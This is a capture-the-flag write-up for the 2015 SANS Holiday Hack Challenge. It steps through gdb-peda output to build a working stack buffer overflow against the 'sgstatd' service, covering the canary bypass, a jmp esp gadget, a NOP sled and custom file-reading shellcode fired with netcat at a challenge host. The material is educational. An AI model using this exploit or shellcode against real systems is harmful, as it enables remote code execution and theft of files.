I keep pressing ‘n’ key to step over until the next process block at sgstatd()

gdb-peda$ 
[----------------------------------registers-----------------------------------]
EAX: 0x1955 
EBX: 0xf7fad000 --> 0x1a5da8 
ECX: 0xf7fae884 --> 0x0 
EDX: 0x0 
ESI: 0x0 
EDI: 0x0 
EBP: 0xffffd388 --> 0xffffd3b8 --> 0xffffd3e8 --> 0x0 
ESP: 0xffffcf10 --> 0x1955 
EIP: 0x80492ef (<child_main+1587>: call 0x804935d <sgstatd>)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
 0x80492e4 <child_main+1576>: call 0x80489a0 <fflush@plt>
 0x80492e9 <child_main+1581>: mov eax,DWORD PTR [ebp+0x8]
 0x80492ec <child_main+1584>: mov DWORD PTR [esp],eax
=> 0x80492ef <child_main+1587>: call 0x804935d <sgstatd>
 0x80492f4 <child_main+1592>: mov DWORD PTR [esp+0x4],0x8049d17
 0x80492fc <child_main+1600>: mov eax,DWORD PTR [ebp+0x8]
 0x80492ff <child_main+1603>: mov DWORD PTR [esp],eax
 0x8049302 <child_main+1606>: call 0x80499ff <sgnet_writes>
Guessed arguments:
arg[0]: 0x1955 
[------------------------------------stack-------------------------------------]
0000| 0xffffcf10 --> 0x1955 
0004| 0xffffcf14 --> 0x8049ccc ("Enter a short message to share with GnomeNet (please allow 10 seconds) => ")
0008| 0xffffcf18 --> 0x4b ('K')
0012| 0xffffcf1c --> 0x0 
0016| 0xffffcf20 --> 0xf7fce234 --> 0xe63e1fee 
0020| 0xffffcf24 --> 0x0 
0024| 0xffffcf28 --> 0x804c4d4 --> 0x804ca40 --> 0xf7fce000 --> 0x464c457f 
0028| 0xffffcf2c --> 0xf7ffd000 --> 0x1ff34 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x080492ef in child_main ()
gdb-peda$

And something of a secret message appears on the client

Welcome to the SuperGnome Server Status Center!
Please enter one of the following options:

1 - Analyze hard disk usage
2 - List open TCP sockets
3 - Check logged in users
Hidden command detected!
Enter a short message to share with GnomeNet (please allow 10 seconds) => 
This function is protected!

I’ll enter for letters (not those four) on the client side

AAAA

I still haven’t regained control over gdb so I kill the client connection.

This time I’ll restart the gdb session but instead set a breakpoint further along at sgstatd()

As I step over the instructions in sgstatd() it becomes apparent that the function call to sgnet_readn() at memory location 0x080493AA is where the process reads the input from the client. There are also some values saved to the stack before the call to sgnet_readn() and one of those appear to be used for the size of the buffer read in from the client.
sans_sgstatd_1
The buffer size is set at memory location 0x08049395 and the value is 0xc8=200 bytes.
Time for a quick test to see what happens when we send a message 201 bytes long.

$ perl '-e print "X" . "A"x(201)'|nc -vvvv localhost 4242
localhost [127.0.0.1] 4242 (?) open
Welcome to the SuperGnome Server Status Center!
Please enter one of the following options:

1 - Analyze hard disk usage
2 - List open TCP sockets
3 - Check logged in users


Hidden command detected!

Enter a short message to share with GnomeNet (please allow 10 seconds) => sent 202, rcvd 282

This message then appeared on the terminal running sgstatd

# /home/remote/projects/sans/firmware/usr/bin/sgstatd
Server started...
Canary not repaired.

Back to gdb and following sgstatd() function
It appears that the call to sgnet_readn() completes and then an xor comparison is made with some value pointing to the buffer read from sgnet_readn() and 0xefffffe4.
Knowing how xor works, perhaps we need to plant 0xe4ffffe4 into the buffer.
Judging from the gdb-peda output, ebp register is pointing to the buffer with 92 ‘A’ remained. So let’s start by placing the canary value at 201-92=108 bytes in.
Actually after some trial and error the canary was found at 105 bytes into the buffer

$ perl '-e print "X" . "A"x(104) . "\xe4\xff\xff\xe4" . "B"x93'|nc -vvvv localhost 4242

gdb-peda$ 
[----------------------------------registers-----------------------------------]
EAX: 0xc8 
EBX: 0xf7fad000 --> 0x1a5da8 
ECX: 0xffffce9c ('A' <repeats 104 times>, "\344\377\377\344", 'B' <repeats 92 times>)
EDX: 0xe4ffffe4 
ESI: 0x0 
EDI: 0x0 
EBP: 0xffffcf08 ('B' <repeats 92 times>)
ESP: 0xffffce80 --> 0x1cc2 
EIP: 0x80493b2 (<sgstatd+85>: xor edx,0xe4ffffe4)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
 0x80493a7 <sgstatd+74>: mov DWORD PTR [esp],eax
 0x80493aa <sgstatd+77>: call 0x804990b <sgnet_readn>
 0x80493af <sgstatd+82>: mov edx,DWORD PTR [ebp-0x4]
=> 0x80493b2 <sgstatd+85>: xor edx,0xe4ffffe4
 0x80493b8 <sgstatd+91>: jne 0x804933f <sgnet_exit>
 0x80493be <sgstatd+97>: mov eax,0x0
 0x80493c3 <sgstatd+102>: leave 
 0x80493c4 <sgstatd+103>: ret
[------------------------------------stack-------------------------------------]
0000| 0xffffce80 --> 0x1cc2 
0004| 0xffffce84 --> 0xffffce9c ('A' <repeats 104 times>, "\344\377\377\344", 'B' <repeats 92 times>)
0008| 0xffffce88 --> 0xc8 
0012| 0xffffce8c --> 0x1 
0016| 0xffffce90 --> 0xffffcef0 ('A' <repeats 20 times>, "\344\377\377\344", 'B' <repeats 92 times>)
0020| 0xffffce94 --> 0xf7feac9f (sub esp,0x14)
0024| 0xffffce98 --> 0xf7ffdae8 --> 0xf7ffda8c --> 0xf7fd9b28 --> 0xf7ffd930 --> 0x0 
0028| 0xffffce9c ('A' <repeats 104 times>, "\344\377\377\344", 'B' <repeats 92 times>)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x080493b2 in sgstatd ()

After further step overs, the child process crashes with an EIP overwrite of ‘BBBB’

Now it starts to get interesting.

gdb-peda$ 
[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0xf7fad000 --> 0x1a5da8 
ECX: 0xffffce9c ('A' <repeats 104 times>, "\344\377\377\344", 'B' <repeats 92 times>)
EDX: 0x0 
ESI: 0x0 
EDI: 0x0 
EBP: 0x42424242 ('BBBB')
ESP: 0xffffcf10 ('B' <repeats 84 times>)
EIP: 0x42424242 ('BBBB')
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x42424242
[------------------------------------stack-------------------------------------]
0000| 0xffffcf10 ('B' <repeats 84 times>)
0004| 0xffffcf14 ('B' <repeats 80 times>)
0008| 0xffffcf18 ('B' <repeats 76 times>)
0012| 0xffffcf1c ('B' <repeats 72 times>)
0016| 0xffffcf20 ('B' <repeats 68 times>)
0020| 0xffffcf24 ('B' <repeats 64 times>)
0024| 0xffffcf28 ('B' <repeats 60 times>)
0028| 0xffffcf2c ('B' <repeats 56 times>)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x42424242 in ?? ()

Our next goal is to gain control over EIP and have instructions executed from the area of the stack we control.
Let’s try to pinpoint which bytes from our stack overwrite EIP.
Let’s send 4 bytes of ‘B’, followed by 4 bytes of ‘C’ and the rest of the buffer with ‘D’s

$ perl '-e print "X" . "A"x(104) . "\xe4\xff\xff\xe4" . "B"x4 . "C"x4 . "D"x85'|nc -vvvv localhost 4242
[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0xf7fad000 --> 0x1a5da8 
ECX: 0xffffce9c ('A' <repeats 104 times>, "\344\377\377\344BBBBCCCC", 'D' <repeats 84 times>)
EDX: 0x0 
ESI: 0x0 
EDI: 0x0 
EBP: 0x42424242 ('BBBB')
ESP: 0xffffcf10 ('D' <repeats 84 times>)
EIP: 0x43434343 ('CCCC')
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x43434343
[------------------------------------stack-------------------------------------]
0000| 0xffffcf10 ('D' <repeats 84 times>)
0004| 0xffffcf14 ('D' <repeats 80 times>)
0008| 0xffffcf18 ('D' <repeats 76 times>)
0012| 0xffffcf1c ('D' <repeats 72 times>)
0016| 0xffffcf20 ('D' <repeats 68 times>)
0020| 0xffffcf24 ('D' <repeats 64 times>)
0024| 0xffffcf28 ('D' <repeats 60 times>)
0028| 0xffffcf2c ('D' <repeats 56 times>)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x43434343 in ?? ()

We can see that EIP contains the 4 bytes of ‘C’ and the stack points to the ‘D’s
Out next goal will be to replace the ‘D’s with nop instructions and redirect execution to the nops.
It would be perfect to have EIP point to our buffer space and we could do that but having this address space hardcoded isn’t very reliable and there is a better solution. Because we know that esp points to our buffer space we can essential look within the binary for or imported libs for a jump ESP instruction.
Let’s see if such an instruction exists within the binary. Peda can help with this task.

gdb-peda$ asmsearch 'jmp esp' all
Searching for ASM code: 'jmp esp' in: all ranges
0x08048bd5 : (83e4) and esp,0xfffffff0
0x08049368 : (fce4) cld ; in al,0xff
0x0804936b : (ffe4) jmp esp
0x080493b3 : (f2e4) repnz in al,0xff
0x080493b6 : (ffe4) jmp esp
...
0xf7dca333 : (7de4) jge 0xf7dca319 <_nss_files_parse_netent+441>
--More--(25/2386)

I’ve chosen 0x080493b6
Let’s now replace our payloads ‘C’s with this address (in reverse byte order)

$ perl '-e print "X" . "A"x(104) . "\xe4\xff\xff\xe4" . "B"x4 . "\xb6\x93\x04\x08" . "\x90"x85'|nc -vvvv localhost 4242

This attempt didn’t work. EIP ended up pointing to the ‘B’s so I just repeated “\xb6\x93\x04\x08” twice and it worked.

$ perl '-e print "X" . "A"x(104) . "\xe4\xff\xff\xe4" . "\xb6\x93\x04\x08"x2 . "\x90"x85'|nc -vvvv localhost 4242
[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0xf7fad000 --> 0x1a5da8 
ECX: 0xffffce9c ('A' <repeats 104 times>, "\344\377\377䶓\004\b\266\223\004\b", '\220' <repeats 84 times>)
EDX: 0x0 
ESI: 0x0 
EDI: 0x0 
EBP: 0x80493b6 (<sgstatd+89>: jmp esp)
ESP: 0xffffcf10 --> 0x90909090 
EIP: 0xffffcf10 --> 0x90909090
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
 0xffffcf0a: add al,0x8
 0xffffcf0c: mov dh,0x93
 0xffffcf0e: add al,0x8
=> 0xffffcf10: nop
 0xffffcf11: nop
 0xffffcf12: nop
 0xffffcf13: nop
 0xffffcf14: nop
[------------------------------------stack-------------------------------------]
0000| 0xffffcf10 --> 0x90909090 
0004| 0xffffcf14 --> 0x90909090 
0008| 0xffffcf18 --> 0x90909090 
0012| 0xffffcf1c --> 0x90909090 
0016| 0xffffcf20 --> 0x90909090 
0020| 0xffffcf24 --> 0x90909090 
0024| 0xffffcf28 --> 0x90909090 
0028| 0xffffcf2c --> 0x90909090 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0xffffcf10 in ?? ()

OK, now this writeup is getting longer than I expected so I’ll have to keep things brief.

This is probably a good time to look at what our shellcode will look like, i.e. functionality and size.
How about using the system calls for reading a file and writing its contents back over the socket.

Here is the shellcode I put together for this purpose.

<code>
; 
; Author: Mutti K
; Purpose: sans 2015 xmas hack challenge 4.5
; Original taken from http://shell-storm.org/shellcode/files/shellcode-73.php and adapted.

global _start

section .text

_start:
 ;Because we don't know the current socket's stdout fd I have trick to obtain it.
 ;When the shellcode is reached, ecx points to a location on the stack.
 mov edi, ecx ; ecx points to the stack
 ; esp original offset when sgstatd was first entered , causing null bytes in shellcode
 sub edi,0x1c ; socket's stdout fd is located at 0x1c bytes from esp
 xor eax, eax
 xor ecx, ecx
 xor edx, edx
 jmp two ; find filename path string location on stack
one:
 pop ebx
 mov al,byte 5 ; open()
 xor ecx, ecx ; open mode 0 readonly
 int 80h
 
 mov esi,eax ; save new open fd to esi
 jmp read
exit:
;Going to try to reduce size of shellcode
; mov al, 1 ; exit()
; xor ebx, ebx
; int 80h

read:
 mov ebx,esi ; copy open fd for read()
 mov al,3 ; read()
 sub esp,1
 lea ecx,[esp]
 mov dl,1
 int 80h

 xor ebx, ebx
 cmp ebx,eax
 je exit

 mov al,4 ; write()
 mov ebx,[edi] ; file descriptor referenced at _start of shellcode
 mov dl,1
 int 80h
 
 add esp,1
 jmp read

two:
 call one
 filename: db "/gnome/www/files/gnome.conf"
</code>

Link and extract bytes

$ nasm -f elf32 -o read_file_shellcode.o read_file_shellcode.nasm 
$ ld -melf_i386 -o read_file_shellcode read_file_shellcode.o
$ for i in `objdump -d read_file_shellcode | tr '\t' ' ' | tr ' ' '\n' | egrep '^[0-9a-f]{2}$' ` ; do echo -n "\x$i" ; done
\x89\xcf\x83\xef\x1c\x31\xc0\x31\xc9\x31\xd2\xeb\x2c\x5b\xb0\x05\x31\xc9\xcd\x80\x89\xc6\xeb\x00\x89\xf3\xb0\x03\x83\xec\x01\x8d\x0c\x24\xb2\x01\xcd\x80\x31\xdb\x39\xc3\x74\xec\xb0\x04\x8b\x1f\xb2\x01\xcd\x80\x83\xc4\x01\xeb\xdf\xe8\xcf\xff\xff\xff\x2f\x67\x6e\x6f\x6d\x65\x2f\x77\x77\x77\x2f\x66\x69\x6c\x65\x73\x2f\x67\x6e\x6f\x6d\x65\x2e\x63\x6f\x6e\x66

After some trial and error I found that I could successfully store the shellcode at the front of the payload. Now in order to reach the shellcode I would need to jump from the back of the payload to the front.
Peda has a quick feature for converting nasm assembly syntax instructions to byte codes.

gdb-peda$ assemble 
Instructions will be written to stdout
Type instructions (NASM syntax), one or more per line separated by ";"
End with a line saying just "end"
iasm|0xdeadbeef> jmp $-126
hexify: "\xeb\x80"

The final payload I managed to get working is below

$shell="\x89\xcf\x83\xef\x1c\x31\xc0\x31\xc9\x31\xd2\xeb\x2c\x5b\xb0\x05\x31\xc9\xcd\x80\x89\xc6\xeb\x00\x89\xf3\xb0\x03\x83\xec\x01\x8d\x0c\x24\xb2\x01\xcd\x80\x31\xdb\x39\xc3\x74\xec\xb0\x04\x8b\x1f\xb2\x01\xcd\x80\x83\xc4\x01\xeb\xdf\xe8\xcf\xff\xff\xff\x2f\x67\x6e\x6f\x6d\x65\x2f\x77\x77\x77\x2f\x66\x69\x6c\x65\x73\x2f\x67\x6e\x6f\x6d\x65\x2e\x63\x6f\x6e\x66\x00";
$jmp_to_shell="\xeb\x80";
$jmp_esp="\xb6\x93\x04\x08";
$canary="\xe4\xff\xff\xe4";
$nopsled="\x90"x24;
print "X" . "\x90"x(104-length($shell)) . 
    $shell . 
    $canary . 
    "B"x4 . 
    $jmp_esp . 
    $nopsled . 
    $jmp_to_shell . 
    "C"x(59-length($canary+"B"x4+$jmp_esp+$nopsled+$jmp_to_shell))

Hope this helps you visualize the construction,
[nops – shellcode – canary – B’s – jmp_esp – nops – jmp_to_shell – C’s]

So let’s point it at supergnome 5 and …

$ perl '-e $shell="\x89\xcf\x83\xef\x1c\x31\xc0\x31\xc9\x31\xd2\xeb\x2c\x5b\xb0\x05\x31\xc9\xcd\x80\x89\xc6\xeb\x00\x89\xf3\xb0\x03\x83\xec\x01\x8d\x0c\x24\xb2\x01\xcd\x80\x31\xdb\x39\xc3\x74\xec\xb0\x04\x8b\x1f\xb2\x01\xcd\x80\x83\xc4\x01\xeb\xdf\xe8\xcf\xff\xff\xff\x2f\x67\x6e\x6f\x6d\x65\x2f\x77\x77\x77\x2f\x66\x69\x6c\x65\x73\x2f\x67\x6e\x6f\x6d\x65\x2e\x63\x6f\x6e\x66\x00";
$jmp_to_shell="\xeb\x80";
$jmp_esp="\xb6\x93\x04\x08";
$canary="\xe4\xff\xff\xe4";
$nopsled="\x90"x24;
print "X" . "\x90"x(104-length($shell)) . 
$shell . 
$canary . 
"B"x4 . 
$jmp_esp . 
$nopsled . 
$jmp_to_shell . 
"C"x(59-length($canary+"B"x4+$jmp_esp+$nopsled+$jmp_to_shell))'|nc -vvvv 54.233.105.81 4242
ec2-54-233-105-81.sa-east-1.compute.amazonaws.com [54.233.105.81] 4242 (?) open

Welcome to the SuperGnome Server Status Center!
Please enter one of the following options:

1 - Analyze hard disk usage
2 - List open TCP sockets
3 - Check logged in users


Hidden command detected!

Enter a short message to share with GnomeNet (please allow 10 seconds) => 
This function is protected!
Gnome Serial Number: 4CKL3R43V4
Current config file: ./tmp/e31faee/cfg/sg.01.v1339.cfg
Allow new subordinates?: YES
Camera monitoring?: YES
Audio monitoring?: YES
Camera update rate: 60min
Gnome mode: SuperGnome
Gnome name: SG-05
Allow file uploads?: YES
Allowed file formats: .png
Allowed file size: 512kb
Files directory: /gnome/www/files/
^C sent 201, rcvd 654

Flag is 4CKL3R43V4!

Thank you

4 thoughts on “Write up: 2015 Sans Holiday Hack Challenge – Part 4.5

  1. Matt

    Nice writeup! I had trouble getting the shellcode to work. Probably due to file descriptor issues. Looks like NC was the better option. I will take a good look at your ASM. Thanks!

    Oh, and by the way… the source code for sgstatd could be found on SG-01 in the file download section. But interesting to know that blackboxing was possible too!

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s